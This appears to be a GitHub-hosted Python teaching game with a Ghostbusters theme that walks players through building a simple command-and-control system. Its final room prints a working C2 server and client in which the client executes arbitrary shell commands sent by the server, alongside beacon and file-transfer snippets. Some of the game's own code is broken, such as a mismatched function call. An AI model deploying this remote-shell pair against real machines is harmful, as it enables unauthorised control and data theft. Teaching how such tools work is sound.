-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgh0stbust3rz.py
277 lines (216 loc) · 10.9 KB
/
gh0stbust3rz.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
import socket
import time
import subprocess
import os
# Initialize game variables
assembled_components = {}
# Function Definitions
# (Note: These are placeholders. Replace them with the actual functions you've created in the workshops.)
def server_setup_workshop():
print("Welcome to the Server Setup Workshop. Don't cross the streams!")
print("Just like Egon said, 'Don't cross the streams,' we say, 'Don't mix up your IPs and ports!'")
# Get IP and port from the player
server_ip = input("Enter the server IP address, because we 'ain't afraid of no ghost' or IP! ")
server_port = int(input("Enter the server port. Choose wisely, just like you would when picking a proton pack: "))
# Display the code to initialize a server
print("""
# Server Setup Code (For Training Purposes Only)
import socket
server_ip = '{}'
server_port = {}
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((server_ip, server_port))
s.listen()
print(f'Server successfully set up on IP: {{server_ip}} and Port: {{server_port}}')
""".format(server_ip, server_port))
print("Server successfully set up. As Peter Venkman would say, 'We came, we saw, we kicked its...!'")
return server_ip, server_port
pass
def client_setup_workshop():
print("Welcome to the Client Setup Workshop. As Janine would say, 'We got one!'")
print("Just like capturing ghosts, setting up a client requires precision and the right tools.")
# Get server IP and port from the player
server_ip = input("Enter the server IP address you'll be connecting to. Don't worry, there are no ghosts there: ")
server_port = int(input("Enter the server port. As Ray would say, 'This is a new house; it's clean, it's all clear!' "))
# Display the code to initialize a client
print(f"""
# Client Setup Code (For Training Purposes Only)
import socket
server_ip = '{server_ip}'
server_port = {server_port}
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((server_ip, server_port))
print(f'Successfully connected to the server on IP: {{server_ip}} and Port: {{server_port}}')
""")
print("Client successfully set up. You're a true Ghostbuster!")
return server_ip, server_port
pass
def beacon_workshop():
print("Welcome to the Beacon Workshop. As Ray Parker Jr. sang, 'I ain't afraid of no ghost!'")
print("Beacons are like the PKE Meters of cybersecurity—detecting and communicating without drawing attention.")
# Get beacon interval from the player
beacon_interval = int(input("Enter the beacon interval in seconds. Just like the Gh0stbust3rz need to time their traps, timing is key here: "))
# Display the code to implement a simple beacon
print(f"""
# Beacon Code (For Training Purposes Only)
import time
import socket
beacon_interval = {beacon_interval}
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
while True:
s.connect(('server_ip', server_port))
print(f'Beacon sent at interval: {{beacon_interval}} seconds')
time.sleep(beacon_interval)
""")
print("Beacon set up successfully. You're turning into a Cybersecurity Ghostbuster!")
return beacon_interval
pass
def file_transfer_workshop():
print("Welcome to the File Transfer Workshop. Or as Peter Venkman would say, 'He slimed me!'")
print("Just like the Gh0stbust3rz collect samples of ectoplasm, you'll be transferring files!")
# Get the file name from the player
file_name = input("Enter the name of the file you'd like to transfer. Think of it as capturing a ghost in a trap: ")
# Display the code for file transfer
print(f"""
# File Transfer Code (For Training Purposes Only)
import socket
file_name = '{file_name}'
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('server_ip', server_port))
with open(file_name, 'rb') as f:
file_data = f.read()
s.sendall(file_data)
print(f'File {{file_name}} successfully transferred.')
""")
print("File transfer successful! You're definitely a member of the Gh0stbust3rz now!")
return file_name
pass
def script_execution_workshop():
print("Welcome to the Script Execution Workshop. As Winston Zeddemore said, 'This job is definitely not worth eleven-five a year!'")
print("Well, in cybersecurity, executing scripts properly could make it worth a lot more than that!")
# Get the script name from the player
script_name = input("Enter the name of the script you'd like to execute. Think of it as choosing the right Gh0stbust3rz gadget: ")
# Display the code for script execution
print(f"""
# Script Execution Code (For Training Purposes Only)
import subprocess
script_name = '{script_name}'
output = subprocess.run([script_name], capture_output=True, text=True)
print(f'Script {{script_name}} executed with output: {{output.stdout}}')
""")
print("Script executed successfully! You're mastering the Gh0stbust3rz' level of expertise!")
return script_name
def command_execution_workshop():
print("Welcome to the Command Execution Workshop. As the famous Gh0stbust3rz tagline goes, 'Who you gonna call?'")
print("In the world of cybersecurity, sometimes you have to call (or execute) specific commands!")
# Get the command from the player
command = input("Enter the shell command you'd like to execute. It's like selecting the correct frequency on your Ecto Goggles: ")
# Display the code for command execution
print(f"""
# Command Execution Code (For Training Purposes Only)
import subprocess
command = '{command}'
output = subprocess.run(command, shell=True, capture_output=True, text=True)
print(f'Command {{command}} executed with output: {{output.stdout}}')
""")
print("Command executed successfully! You're officially ready to take on Gozer... or at least some cybersecurity challenges!")
return command
pass
# Final Assembly Room: "Who you gonna call? Gh0stbust3rz!"
def final_assembly_room(server_ip, server_port, beacon_interval, file_name, script_name, command):
print("Welcome to the Final Assembly Room. Or as the Gh0stbust3rz would say, 'This is it! This is definitely it!'")
print("It's time to assemble a basic server and client script to assist in your ghost busting.")
# Display the complete server script
print("----- Server Script -----")
print(f"""
# Gh0stbust3rz C2 Server Script
import socket
import threading
def handle_file_transfer(conn, filename):
with open(filename, 'rb') as file:
conn.sendall(file.read())
def client_handler(conn):
while True:
command = input('Enter command or "file:<filename>" to send a file: ')
if command.lower().startswith('file:'):
filename = command.split(':', 1)[1]
handle_file_transfer(conn, filename)
else:
conn.sendall(command.encode())
if command.lower() == 'exit':
conn.close()
break
data = conn.recv(1024)
print(data.decode())
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('localhost', 9999))
server_socket.listen(5)
print('Server is listening...')
while True:
conn, addr = server_socket.accept()
print(f'Connected to {addr}')
threading.Thread(target=client_handler, args=(conn,)).start()
""")
# Display the complete client script
print("----- Client Script -----")
print(f"""
# Gh0stbust3rz C2 Client Script
import socket
import subprocess
def receive_file(conn, filename):
with open(filename, 'wb') as file:
data = conn.recv(1024)
while data:
file.write(data)
data = conn.recv(1024)
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('localhost', 9999))
while True:
command = client_socket.recv(1024).decode()
if command.lower().startswith('file:'):
filename = command.split(':', 1)[1]
receive_file(client_socket, filename)
elif command.lower() == 'exit':
client_socket.close()
break
else:
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = result.stdout.decode() + result.stderr.decode()
client_socket.sendall(output.encode())
""")
print("You've successfully assembled both the server and client scripts! You are a Ghostbuster-level cybersecurity expert now!")
pass
# Introduction
print("Who ya gonna call? CyberGh0stbust3rz!")
print("Your mission is to assemble the virtual components for a server-client architecture.")
print("In this educational journey, you'll navigate through various workshops to build a Command and Control (C2) system, Gh0stbust3rz style!\n")
while True:
print("You're in the Gh0stbust3rz Firehouse. Where do you want to go?")
print("1. Server Setup Workshop - 'Don't cross the streams!'")
print("2. Client Setup Workshop - 'We got one!'")
print("3. Beacon Workshop - 'I ain't afraid of no ghost.'")
print("4. File Transfer Workshop - 'He slimed me.'")
print("5. Script Execution Workshop - 'This job is definitely not worth eleven-five a year!'")
print("6. Command Execution Workshop - 'Back off, man. I'm a scientist.'")
print("7. Final Assembly Room - 'Time to show this prehistoric b... how we do things downtown!'")
print("8. Exit - 'We came, we saw, we kicked its...!'")
choice = input("Your choice: ")
if choice == "1":
assembled_components['server'] = server_setup_workshop()
elif choice == "2":
assembled_components['client'] = client_setup_workshop()
elif choice == "3":
assembled_components['beacon'] = beacon_workshop()
elif choice == "4":
assembled_components['file_transfer'] = file_transfer_workshop()
elif choice == "5":
assembled_components['script_execution'] = script_execution_workshop()
elif choice == "6":
assembled_components['command_execution'] = command_execution_workshop()
elif choice == "7":
final_assembly_room(assembled_components)
elif choice == "8":
print("Exiting the game. Goodbye!")
break
else:
print("Invalid choice. Try again.")